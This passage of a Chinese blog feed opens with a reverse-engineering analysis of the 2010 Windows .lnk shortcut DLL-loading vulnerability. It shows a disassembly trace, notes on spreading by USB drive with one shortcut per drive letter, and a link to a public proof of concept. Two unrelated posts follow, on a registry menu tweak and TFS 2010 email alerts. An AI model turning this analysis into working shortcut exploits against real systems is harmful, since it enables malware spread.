eax&lt;/p&gt;    &lt;p&gt;7D71608C&amp;#160;&amp;#160;&amp;#160; FF15 641C597D&amp;#160;&amp;#160; call&amp;#160;&amp;#160;&amp;#160; dword ptr [&amp;lt;&amp;amp;SHLWAPI.StrToIntW&amp;gt;] ; shlwapi.StrToIntW&lt;/p&gt;    &lt;p&gt;7D716092&amp;#160;&amp;#160;&amp;#160; 8B7D 14&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; edi, dword ptr [ebp+14]&lt;/p&gt;    &lt;p&gt;7D716095&amp;#160;&amp;#160;&amp;#160; 8907&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [edi], eax&lt;/p&gt;    &lt;p&gt;7D716097&amp;#160;&amp;#160;&amp;#160; 8B45 18&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; eax, dword ptr [ebp+18]&lt;/p&gt;    &lt;p&gt;7D71609A&amp;#160;&amp;#160;&amp;#160; C700 02000000&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [eax], 2&lt;/p&gt;    &lt;p&gt;7D7160A0&amp;#160;&amp;#160;&amp;#160; 8B0F&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; ecx, dword ptr [edi]&lt;/p&gt;    &lt;p&gt;7D7160A2&amp;#160;&amp;#160;&amp;#160; 33D2&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; xor&amp;#160;&amp;#160;&amp;#160;&amp;#160; edx, edx&lt;/p&gt;    &lt;p&gt;7D7160A4&amp;#160;&amp;#160;&amp;#160; 3BCA&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; cmp&amp;#160;&amp;#160;&amp;#160;&amp;#160; ecx, edx&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ;偏移0x7A必须得是0，才会LoadLibary&lt;/p&gt;    &lt;p&gt;7D7160A6&amp;#160;&amp;#160;&amp;#160; 75 33&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; jnz&amp;#160;&amp;#160;&amp;#160;&amp;#160; short 7D7160DB&lt;/p&gt;    &lt;p&gt;7D7160A8&amp;#160;&amp;#160;&amp;#160; C700 1A000000&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [eax], 1A&lt;/p&gt;    &lt;p&gt;7D7160AE&amp;#160;&amp;#160;&amp;#160; 8D86 14020000&amp;#160;&amp;#160; lea&amp;#160;&amp;#160;&amp;#160;&amp;#160; eax, dword ptr [esi+214]&lt;/p&gt;    &lt;p&gt;7D7160B4&amp;#160;&amp;#160;&amp;#160; 3910&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; cmp&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [eax], edx&lt;/p&gt;    &lt;p&gt;7D7160B6&amp;#160;&amp;#160;&amp;#160; 8955 0C&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp+C], edx&lt;/p&gt;    &lt;p&gt;7D7160B9&amp;#160;&amp;#160;&amp;#160; 75 16&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; jnz&amp;#160;&amp;#160;&amp;#160;&amp;#160; short 7D7160D1&lt;/p&gt;    &lt;p&gt;7D7160BB&amp;#160;&amp;#160;&amp;#160; 8D4D 0C&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; lea&amp;#160;&amp;#160;&amp;#160;&amp;#160; ecx, dword ptr [ebp+C]&lt;/p&gt;    &lt;p&gt;7D7160BE&amp;#160;&amp;#160;&amp;#160; 51&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; ecx&lt;/p&gt;    &lt;p&gt;7D7160BF&amp;#160;&amp;#160;&amp;#160; 8D8E 18020000&amp;#160;&amp;#160; lea&amp;#160;&amp;#160;&amp;#160;&amp;#160; ecx, dword ptr [esi+218]&lt;/p&gt;    &lt;p&gt;7D7160C5&amp;#160;&amp;#160;&amp;#160; 51&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; ecx&lt;/p&gt;    &lt;p&gt;7D7160C6&amp;#160;&amp;#160;&amp;#160; 50&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; eax&lt;/p&gt;    &lt;p&gt;7D7160C7&amp;#160;&amp;#160;&amp;#160; 53&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; ebx&lt;/p&gt;    &lt;p&gt;7D7160C8&amp;#160;&amp;#160;&amp;#160; E8 48C4F2FF&amp;#160;&amp;#160;&amp;#160;&amp;#160; call&amp;#160;&amp;#160;&amp;#160; 7D642515&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ;这里调用后面后面&lt;/p&gt;    &lt;p&gt;7D63866D&amp;#160;&amp;#160;&amp;#160; FF15 6415597D&amp;#160;&amp;#160; call&amp;#160;&amp;#160;&amp;#160; dword ptr [&amp;lt;&amp;amp;KERNEL32.GetCurrent&amp;gt;; kernel32.GetCurrentProcessId&lt;/p&gt;    &lt;p&gt;7D638673&amp;#160;&amp;#160;&amp;#160; 50&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; eax&lt;/p&gt;    &lt;p&gt;7D638674&amp;#160;&amp;#160;&amp;#160; 56&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; esi&lt;/p&gt;    &lt;p&gt;7D638675&amp;#160;&amp;#160;&amp;#160; 68 00001000&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; 100000&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ; UNICODE &amp;quot;f1df_6.0.2600.5512_x-ww_35d4ce83\&amp;quot;&lt;/p&gt;    &lt;p&gt;7D63867A&amp;#160;&amp;#160;&amp;#160; 8985 E4FDFFFF&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp-21C], eax&lt;/p&gt;    &lt;p&gt;7D638680&amp;#160;&amp;#160;&amp;#160; FF15 6815597D&amp;#160;&amp;#160; call&amp;#160;&amp;#160;&amp;#160; dword ptr [&amp;lt;&amp;amp;KERNEL32.OpenProces&amp;gt;; kernel32.OpenProcess&lt;/p&gt;    &lt;p&gt;7D638686&amp;#160;&amp;#160;&amp;#160; 3BC6&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; cmp&amp;#160;&amp;#160;&amp;#160;&amp;#160; eax, esi&lt;/p&gt;    &lt;p&gt;7D638688&amp;#160;&amp;#160;&amp;#160; 8985 E8FDFFFF&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp-218], eax&lt;/p&gt;    &lt;p&gt;7D63868E&amp;#160;&amp;#160;&amp;#160; 0F84 E5000000&amp;#160;&amp;#160; je&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 7D638779&lt;/p&gt;    &lt;p&gt;7D638694&amp;#160;&amp;#160;&amp;#160; 8D85 F4FDFFFF&amp;#160;&amp;#160; lea&amp;#160;&amp;#160;&amp;#160;&amp;#160; eax, dword ptr [ebp-20C]&lt;/p&gt;    &lt;p&gt;7D63869A&amp;#160;&amp;#160;&amp;#160; 50&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; eax&lt;/p&gt;    &lt;p&gt;7D63869B&amp;#160;&amp;#160;&amp;#160; FF15 A41C597D&amp;#160;&amp;#160; call&amp;#160;&amp;#160;&amp;#160; dword ptr [&amp;lt;&amp;amp;SHLWAPI.PathFileExi&amp;gt;; shlwapi.PathFileExistsW&lt;/p&gt;    &lt;p&gt;7D6386A1&amp;#160;&amp;#160;&amp;#160; 85C0&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; test&amp;#160;&amp;#160;&amp;#160; eax, eax&lt;/p&gt;    &lt;p&gt;7D6386A3&amp;#160;&amp;#160;&amp;#160; C785 BCFDFFFF 2&amp;gt;mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp-244], 20&lt;/p&gt;    &lt;p&gt;7D6386AD&amp;#160;&amp;#160;&amp;#160; 74 14&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; je&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; short 7D6386C3&lt;/p&gt;    &lt;p&gt;7D6386AF&amp;#160;&amp;#160;&amp;#160; 8D85 F4FDFFFF&amp;#160;&amp;#160; lea&amp;#160;&amp;#160;&amp;#160;&amp;#160; eax, dword ptr [ebp-20C]&lt;/p&gt;    &lt;p&gt;7D6386B5&amp;#160;&amp;#160;&amp;#160; 89B5 C0FDFFFF&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp-240], esi&lt;/p&gt;    &lt;p&gt;7D6386BB&amp;#160;&amp;#160;&amp;#160; 8985 C4FDFFFF&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp-23C], eax&lt;/p&gt;    &lt;p&gt;7D6386C1&amp;#160;&amp;#160;&amp;#160; EB 1A&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; jmp&amp;#160;&amp;#160;&amp;#160;&amp;#160; short 7D6386DD&lt;/p&gt;    &lt;p&gt;7D6386C3&amp;#160;&amp;#160;&amp;#160; C785 C0FDFFFF 0&amp;gt;mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp-240], 8&lt;/p&gt;    &lt;p&gt;7D6386CD&amp;#160;&amp;#160;&amp;#160; 899D C4FDFFFF&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp-23C], ebx&lt;/p&gt;    &lt;p&gt;7D6386D3&amp;#160;&amp;#160;&amp;#160; C785 D0FDFFFF 7&amp;gt;mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp-230], 7B&lt;/p&gt;    &lt;p&gt;7D6386DD&amp;#160;&amp;#160;&amp;#160; 8D85 BCFDFFFF&amp;#160;&amp;#160; lea&amp;#160;&amp;#160;&amp;#160;&amp;#160; eax, dword ptr [ebp-244]&lt;/p&gt;    &lt;p&gt;7D6386E3&amp;#160;&amp;#160;&amp;#160; 50&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; eax&lt;/p&gt;    &lt;p&gt;7D6386E4&amp;#160;&amp;#160;&amp;#160; FF15 6C15597D&amp;#160;&amp;#160; call&amp;#160;&amp;#160;&amp;#160; dword ptr [&amp;lt;&amp;amp;KERNEL32.CreateActC&amp;gt;; kernel32.CreateActCtxW&lt;/p&gt;    &lt;p&gt;7D6386EA&amp;#160;&amp;#160;&amp;#160; 83F8 FF&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; cmp&amp;#160;&amp;#160;&amp;#160;&amp;#160; eax, -1&lt;/p&gt;    &lt;p&gt;7D6386ED&amp;#160;&amp;#160;&amp;#160; 8985 F0FDFFFF&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp-210], eax&lt;/p&gt;    &lt;p&gt;7D6386F3&amp;#160;&amp;#160;&amp;#160; 75 06&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; jnz&amp;#160;&amp;#160;&amp;#160;&amp;#160; short 7D6386FB&lt;/p&gt;    &lt;p&gt;7D6386F5&amp;#160;&amp;#160;&amp;#160; 89B5 F0FDFFFF&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp-210], esi&lt;/p&gt;    &lt;p&gt;7D6386FB&amp;#160;&amp;#160;&amp;#160; 8B3D 8C15597D&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; edi, dword ptr [&amp;lt;&amp;amp;KERNEL32.Activ&amp;gt;; kernel32.ActivateActCtx&lt;/p&gt;    &lt;p&gt;7D638701&amp;#160;&amp;#160;&amp;#160; 8D85 ECFDFFFF&amp;#160;&amp;#160; lea&amp;#160;&amp;#160;&amp;#160;&amp;#160; eax, dword ptr [ebp-214]&lt;/p&gt;    &lt;p&gt;7D638707&amp;#160;&amp;#160;&amp;#160; 50&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; eax&lt;/p&gt;    &lt;p&gt;7D638708&amp;#160;&amp;#160;&amp;#160; FFB5 F0FDFFFF&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp-210]&lt;/p&gt;    &lt;p&gt;7D63870E&amp;#160;&amp;#160;&amp;#160; FFD7&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; call&amp;#160;&amp;#160;&amp;#160; edi&lt;/p&gt;    &lt;p&gt;7D638710&amp;#160;&amp;#160;&amp;#160; 33F6&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; xor&amp;#160;&amp;#160;&amp;#160;&amp;#160; esi, esi&lt;/p&gt;    &lt;p&gt;7D638712&amp;#160;&amp;#160;&amp;#160; 46&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; inc&amp;#160;&amp;#160;&amp;#160;&amp;#160; esi&lt;/p&gt;    &lt;p&gt;7D638713&amp;#160;&amp;#160;&amp;#160; 56&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; esi&lt;/p&gt;    &lt;p&gt;7D638714&amp;#160;&amp;#160;&amp;#160; 56&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; esi&lt;/p&gt;    &lt;p&gt;7D638715&amp;#160;&amp;#160;&amp;#160; 56&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; esi&lt;/p&gt;    &lt;p&gt;7D638716&amp;#160;&amp;#160;&amp;#160; 53&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; ebx&lt;/p&gt;    &lt;p&gt;7D638717&amp;#160;&amp;#160;&amp;#160; FF15 00F0787D&amp;#160;&amp;#160; call&amp;#160;&amp;#160;&amp;#160; dword ptr [7D78F000]&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ; apphelp.ApphelpCheckExe&lt;/p&gt;    &lt;p&gt;7D63871D&amp;#160;&amp;#160;&amp;#160; 85C0&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; test&amp;#160;&amp;#160;&amp;#160; eax, eax&lt;/p&gt;    &lt;p&gt;7D63871F&amp;#160;&amp;#160;&amp;#160; 75 08&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; jnz&amp;#160;&amp;#160;&amp;#160;&amp;#160; short 7D638729&lt;/p&gt;    &lt;p&gt;7D638721&amp;#160;&amp;#160;&amp;#160; 2185 E0FDFFFF&amp;#160;&amp;#160; and&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp-220], eax&lt;/p&gt;    &lt;p&gt;7D638727&amp;#160;&amp;#160;&amp;#160; EB 0D&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; jmp&amp;#160;&amp;#160;&amp;#160;&amp;#160; short 7D638736&lt;/p&gt;    &lt;p&gt;7D638729&amp;#160;&amp;#160;&amp;#160; 53&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; ebx&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ;加载DLL&lt;/p&gt;    &lt;p&gt;7D63872A&amp;#160;&amp;#160;&amp;#160; FF15 A015597D&amp;#160;&amp;#160; call&amp;#160;&amp;#160;&amp;#160; dword ptr [&amp;lt;&amp;amp;KERNEL32.LoadLibrar&amp;gt;; kernel32.LoadLibraryW&lt;/p&gt;    &lt;p&gt;7D638730&amp;#160;&amp;#160;&amp;#160; 8985 E0FDFFFF&amp;#160;&amp;#160; mov&amp;#160;&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp-220], eax&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ; dll.01C00000&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;利用&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;据说病毒样本是通过这个漏洞利用U盘来传播的，不过我发现加载DLL必须是绝对路径，用相对路径是不行的，那病毒就必须要知道U盘的盘符才能加载U盘上的DLL。不知道这个问题是怎么解决的呢？我没有仔细研究lnk文件格式，不知道是不是可以放多个目标地址。我能想到的就只有一个很笨的办法，感染的时候在U盘上创建20多个.lnk文件，一个盘符对应一个，这样总能覆盖到U盘所在盘符。另外利用共享目录来传播也存在同样问题。&lt;/p&gt;  &lt;p&gt;其实我觉得这个也不算是一个真正意义上的漏洞，因为既然要解析出图标，加载对应的DLL文件也是说得过去的，凑巧被病毒利用上了而已。&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;参考&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;LNK Shortcut File Code Execution POC&lt;strong&gt;http://www.exploit-db.com/exploits/14403/&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;《windows平台.lnk文件感染技术研究》&lt;strong&gt;http://bbs.pediy.com/showthread.php?t=110426&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;《枚举Windows系统中的外壳名字空间》&lt;strong&gt;http://blog.vckbase.com/rovershen/archive/2004/11/03/1227.aspx&lt;/strong&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/cxun/aggbug/1783608.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cxun/archive/2010/07/23/1783608.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cxun/archive/2010/06/05/1752402.html</id><title type="text">Windows下改变右键新建菜单中&amp;ldquo;文本文档&amp;rdquo;名称方法</title><summary type="text">我个人比较喜欢用快捷键，经常新建.txt文件，以前用英文版XP时，只需在桌面或文件夹空白位置点击右键，然后按键盘“W”（New），再按“T”（Text Document），就可以新建.txt文件了，而且平时左手就放在键盘上，如此操作连着来就很快很方便。但是在中文版系统中，新建菜单里是“文本文档”，按“T”时没有用，需要鼠标移动过去，因此觉得效率较低。  通过以下注册表修改，可以将“文本文档”修改成...</summary><published>2010-06-05T13:10:00Z</published><updated>2010-06-05T13:10:00Z</updated><author><name>cxun</name><uri>http://www.cnblogs.com/cxun/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cxun/archive/2010/06/05/1752402.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cxun/archive/2010/06/05/1752402.html"/><content type="html">&lt;p&gt;我个人比较喜欢用快捷键，经常新建.txt文件，以前用英文版XP时，只需在桌面或文件夹空白位置点击右键，然后按键盘“W”（Ne&lt;u&gt;w&lt;/u&gt;），再按“T”（&lt;u&gt;T&lt;/u&gt;ext Document），就可以新建.txt文件了，而且平时左手就放在键盘上，如此操作连着来就很快很方便。但是在中文版系统中，新建菜单里是“文本文档”，按“T”时没有用，需要鼠标移动过去，因此觉得效率较低。&lt;/p&gt;  &lt;p&gt;通过以下注册表修改，可以将“文本文档”修改成“Text Document”或任意字符串。&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Windows 7 &lt;/strong&gt;下：&lt;/p&gt;  &lt;p&gt;HKEY_CLASSES_ROOT\Local Settings\MuiCache\10B\AAF68885&lt;/p&gt;  &lt;p&gt;@C:\Windows\system32\notepad.exe,-469&lt;/p&gt;  &lt;p&gt;Text Document（或其它名称）&lt;/p&gt;  &lt;p&gt;如下图：&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/4d5f9c7aafe8_127BA/image_2.png"&gt;&lt;img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/4d5f9c7aafe8_127BA/image_thumb.png" width="578" height="93" /&gt;&lt;/a&gt; 图 1 Windows 7 中注册表修改&lt;/p&gt;  &lt;p align="left"&gt;&lt;font color="#ff0000"&gt;其中的“10B”有可能会变，一旦变了之后，可以在MuiCache下找到，再改，如系统变动之后可能会改成“11E”等。目前没有找到更好的办法，若有高手发现了更好的办法请教教小弟~&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Windows XP&lt;/strong&gt; 下：&lt;/p&gt;  &lt;p&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache&lt;/p&gt;  &lt;p&gt;@C:\WINDOWS\system32\notepad.exe,-469&lt;/p&gt;  &lt;p&gt;Text Document（或其它名称）&lt;/p&gt;  &lt;p&gt;如下图：&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/4d5f9c7aafe8_127BA/image_4.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/4d5f9c7aafe8_127BA/image_thumb_1.png" width="636" height="75" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="center"&gt;图 2 Windows XP 中注册表修改&lt;/p&gt;  &lt;p align="left"&gt;&amp;#160;&lt;/p&gt;  &lt;p align="left"&gt;修改后效果：&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/4d5f9c7aafe8_127BA/image_6.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/4d5f9c7aafe8_127BA/image_thumb_2.png" width="478" height="400" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="center"&gt;图 3 修改后效果&lt;/p&gt;&lt;img src="http://www.cnblogs.com/cxun/aggbug/1752402.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cxun/archive/2010/06/05/1752402.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cxun/archive/2010/05/25/1743466.html</id><title type="text">在TFS 2010中使用邮件提醒功能（Email Notification）</title><summary type="text">第一次使用TFS 2010，发现有Project Alerts功能，就是项目组工程中若有任何改动时，TFS Server会自动发邮件提醒。Microsoft提供的配置方法（http://msdn.microsoft.com/en-us/library/ms400808(VS.80).aspx）中不适合TFS 2010，因此，我提供了以下参考方法：  &amp;#160; 1.安装SMTP Server 首...</summary><published>2010-05-25T03:44:00Z</published><updated>2010-05-25T03:44:00Z</updated><author><name>cxun</name><uri>http://www.cnblogs.com/cxun/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cxun/archive/2010/05/25/1743466.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cxun/archive/2010/05/25/1743466.html"/><content type="html">&lt;p&gt;第一次使用TFS 2010，发现有Project Alerts功能，就是项目组工程中若有任何改动时，TFS Server会自动发邮件提醒。Microsoft提供的配置方法（&lt;a title="http://msdn.microsoft.com/en-us/library/ms400808(VS.80).aspx" href="http://msdn.microsoft.com/en-us/library/ms400808(VS.80).aspx" target="_blank"&gt;http://msdn.microsoft.com/en-us/library/ms400808(VS.80).aspx&lt;/a&gt;）中不适合TFS 2010，因此，我提供了以下参考方法：&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;1.安装SMTP Server&lt;/strong&gt;&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;首先，在装有TFS 2010的服务中先安装SMTP服务，我使用的是Windows Server 2008，在Server Manager中安装SMTP功能，如下图：&lt;/p&gt;  &lt;p&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_2.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_thumb.png" 